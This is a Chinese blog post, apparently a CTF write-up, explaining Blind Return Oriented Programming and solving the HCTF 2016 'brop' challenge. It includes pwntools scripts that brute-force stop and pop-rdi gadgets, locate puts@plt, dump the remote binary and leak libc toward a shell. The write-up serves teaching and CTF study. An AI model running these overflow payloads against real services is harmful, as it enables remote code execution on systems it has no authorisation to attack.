基础栈溢出复习四之 BROP

Swing

2017-03-24

Summary

pwn

前两天在360安全客看到了一篇文章，《格式化字符串blind pwn详细教程》，看了下内容，大概就是教我们如何利用格式化串漏洞dump 程序，但是在二进制漏洞中，以及CTF Pwn题型中，还有一种考点？说利用方式吧，叫Bind ROP。对于这些相关的东西，我们其实可以在浏览器搜索到，比如K0师傅《BROP Attack之Nginx远程代码执行漏洞分析及利用》，以及mctrain前辈在wooyun社区发布的《Blind Return Oriented Programming (BROP) Attack - 攻击原理》。其实都能很详细看到了解BROP的攻击原理，以及攻击样例。
当然这个也是《基础栈溢出及其利用方式的》系列的一部分。

什么是BROP

那么我也只是在这里尽量让大家先明白，什么是BORP，以及BROP的攻击原理，以及在后面放一个最近CTF中，及HCTF –出题人跑路了的PWN题的详细分析。

BROP 原文：Blind Return Oriented Programming (BROP) Website

其核心要义就是，通过ROP的方法，远程攻击一个应用程序，劫持程序控制流程。其难点在于，我们并没有程序的源代码以及二进制程序。
详细的东西，我也不想再继续搬了，mctrain在文章讲得已经非常不错了，我在这里提供我的drop地址，不过大家少用阿，这玩意儿吃流量 Blind Return Oriented Programming (BROP) Attack - 攻击原理

大概总结下

看了 Drops的文章，我们大概可总结一下攻击流程

如果有Canary 防护，需要通过brute-force暴力破解或者作者提出的方法“stack reading”
寻找stop gadget或者叫 hang gadget，这gadgaet使得程序进入了无限循环，并且hang，使得攻击者保持连接状态。（如blocking的系统调用 sleep)
寻找可以利用的，即potentially useful gadgets。这里指useful指的是具有某些功能，并不会造成crash的gadget
远程dump内存，（当然如果有格式化串，可以利用那也简便狠多，可以参考安全客文章《格式化字符串blind pwn详细教程》），如果没有，我们可能需要一个write的系统调用，传入一个socket文件描述符。
write(int sock,void *buf,int len)
转化成4条汇编指令就是
1
2
3
4
pop %rdi ret
pop %rsi ret
pop %rdx ret
call write ret
依次对应的是 %rdi->sock %rsi->buf %rdx->len
在栈上构造好这个四个gadget的内存地址，依次执行顺序调用就可以了（这当然是在我们解决掉Canary之后）
- 在dump 内存的过程中，pop %rdx ret这样的gadget也许不容易找到，所以作者又提出另一种方法，利用 strcmp函数，达到相同效果
- 所以之后的任务是：
  - 寻找BROP Gadget（注:什么是BROP Gadget 可在Drops仔细阅读）
  - 找到对用PLT项
    HCTF 之出题人失踪了 (brop)
    了解了，攻击流程，以及攻击方法，我们就可以尝试做这个题目了。杭电的师傅已经，把源码公开在github上了。我们可以自己拿下来编译一下。
*已知信息**
比赛的时候，题目给了ip和端口其他任何信息都没有。但是后面给出了bof的buffer大小作为提示。
1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
而且题目没有开Canary防护，所以我们并不需要突破Canary

经过测试，当输入的字符超过72字节，程序就不会再打印 No password, No game了。

首先寻找 stop gadget

这个地方，muhe师傅交了我一种方法，那就是利用pwntools的异常处理来检测。因为我们需要return address指向一块代码区域，当程序的执行流跳到那段区域之后，程序并不会crash，而是进入了无限循环，这时程序仅仅是hang在了那里，攻击者能够一直保持连接状态。于是，我们把这种类型的gadget，成为stop gadget，这种gadget对于寻找其他gadgets取到了至关重要的作用。

from pwn import *
io = remote("127.0.0.1",10002)

def log_in_file(addr):
    #f = open("gadgets.txt",'a')
    #f = open('res.txt','a')
    f = open('puts.txt','a')
    f.write("the addr:0x%x\n"%addr)
    f.close()

def find_stop_gadget(addr):
    io = remote("127.0.0.1",10002)
    payload = "A"*72 + p64(addr)
    io.recvuntil("WelCome my friend,Do you know password?")
    io.sendline(payload)
    try:
        io.recvline()
        if(io.recv()!=None):
            log.info("alie! at 0x%x" %addr)
            log_in_file(addr)
            io.close()
    except EOFError as e:
            io.close()
            log.info("the connection is close at 0x%x" %addr)
start = 0x400000

while True:
    start +=1
    print "[*] Rand:{0}".format(start)
    find_stop_gadget(start)
    if start >0x40300000:
        break

可能会得到多个gadget，找个好用的就可以了。

找useful gadget

由于这个题目实质是调用puts函数，不是write函数，所以我们并不需要三个gadget，只需要1个 pop rdi;ret就足够了

%rdi，%rsi，%rdx，%rcx，%r8，%r9 用作函数参数，依次对应第1参数，第2参数。。。

那么如何得到一个 pop rdi;ret呢？我们设想，在64位的ELF中，通常存在一个pop r15;ret 对应的字节码为41 5f c3。后两字节码5f c3对应的汇编为pop rdi;ret。
如果有存在一个地址 addr，满足

1
2
3

Payload1 = 'a'*72 + l64(addr-1)+l64(0)+l64(ret) 
Payload2 = 'a'*72 + l64(addr)+l64(0)+l64(ret) 
Payload3 = 'a'*72 + l64(addr+1) +l64(ret)

ret是一个返回函数，且有输出信息。那么我们就可以得到addr，即pop rdi;ret

在64位ELF中，通常存在一个pop r15；ret，对应的字节码为41 5f c3。后两字节码5f c3对应的汇编为pop rdi;ret。
如果addr就是指向的5f，那么addr-1就是指向41，Payload1 = ‘a’*72 + l64(addr-1)+l64(0)+l64(0x400711) ，41和5f组成一个指令，pop r15出来，后面接返回地址0x400711，栈平衡满足要求。Payload2 = ‘a’*72 + l64(addr)+l64(0)+l64(0x400711) ，pop rdi出来，也能正常返回。Payload3 = ‘a’*72 + l64(addr+1) +l64(0x400711) ，addr+1指向c3即ret，直接返回后返回0x400711

于是，我先去寻找这么一个ret，返回有输出信息。

def ret_addr(addr):
    io = remote("127.0.0.1",10002)
    payload = 'A'*72 +p64(addr) + p64(stop_gadget)
    io.recvuntil("WelCome my friend,Do you know password?")
    io.sendline(payload)
    try:
        io.recvline()
        if (io.recv()!=None):
            print io.recv()
        # if "No password, no game" in io.recv():
            io.info("find gadgets at 0x%x" % addr)
            log_in_file(addr)
            print "[*] the ret addr at 0x%x" % (addr)
            io.close()
    except EOFError as e:
        io.close()
        log.info("the connection is close at 0x%x" %addr)
start = 0x400000
count = 0
while True:
    start += 1
    ret_addr(start)
    count += 1
    if count >0x1000:
        break

有了 ret，于是我可以开始寻找 pop rdi;ret了。

def get_useful_gadget(addr):

    io = remote("127.0.0.1",10002)
    payload1 = 'A'*72 +p64(addr-1) + p64(0)+p64(ret)+p64(stop_gadget)
    payload2 = 'A'*72 +p64(addr) + p64(0)+p64(ret)+p64(stop_gadget)
    payload3 = 'A'*72 +p64(addr+1) +p64(ret)+p64(stop_gadget)
    io.recvuntil("WelCome my friend,Do you know password?")
    try:
        io.sendline(payload1)
        if io.recvuntil("WelCome my friend,Do you know password?"):
            io.sendline(payload2)
            if io.recvuntil("WelCome my friend,Do you know password?"):
                io.sendline(payload3)
                if io.recvuntil("WelCome my friend,Do you know password?"):
                    io.info("find gdgets at 0x%x" % addr)
                    log_in_file(addr)
                    io.close()
    except EOFError as e:
        io.close()
        log.info("the connection is close at 0x%x" %addr)


start = 0x400000
# count = 0
while True:
    start += 1
    get_useful_gadget(start)

找到pop rdi;ret 了，gadget 的需求我们达到了。

dump 程序

照理，这个时候我们应该可以开始dump程序了，但是紧接着一个问题来了，我们不知道put_plt的地址。我们知道，puts函数能打印字符串，于是我们设想构造一个payload来验证得到的是不是puts_plt的地址，例如

1	payload = 'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

如果打印前四个\字符为 \x7fELF，则addr为puts_plt。
我找到的是 pop_rdi_ret = 0x4005d6

有了 gadget 和put_plt，我们就可以着手dump程序了。
首先我们需要构造一个leak的函数：

1	payload = 'a'*72 + p64(pop_rdi_ret) +p64(addr) + p64(puts_plt) +p64(stop_gadget)

这样就可以开始leak，但是还有一个问题，如果对一个\x00的地址进行leak，返回是没有结果的，因此如果返回没有结果，我们就可以确定这个地址的值为\x00，所以可以设置为\x00然后将地址加1进行dump。
所以我们需要一个判断：

1 2	if data == '': data = '\x00'

基本这样，我们就可以dump文件了，当文件dump下来以后，我们就能很容易的得到一些got信息，那样我们可以更容易的去起shell

只要分别从0x400000和0x600000开始dump就可以。

leak 获取libc

当我们已经获取了got表信息后，那么我就可以进一步去leak函数，用search_Libc或者自己收集的libc 库查找相应的libc。那么我就可以进一步查询偏移，就可以构造payload 起shell了。

leak payload 也是相似的，就不重复了。
当然，我们这里也可以利用Pwntools的工具 Dynelf 来leak查询system地址，然后找一个地址写入/bin/sh\x00。

最后一步就可以起shell了。

剩下的内容基本和我们一般的leak info 题目是一样的。

与我前面的文章，PlaidCTF 2013: ropasaurusrex的利用方式基本相同，由于篇幅原因就不继续写下去了。

参考链接

HCTF 源码 https://github.com/zh-explorer/hctf2016-brop/blob/master/main.c
muhe博客 http://o0xmuhe.me/2017/01/22/Have-fun-with-Blind-ROP/
以及队内师傅的Writeup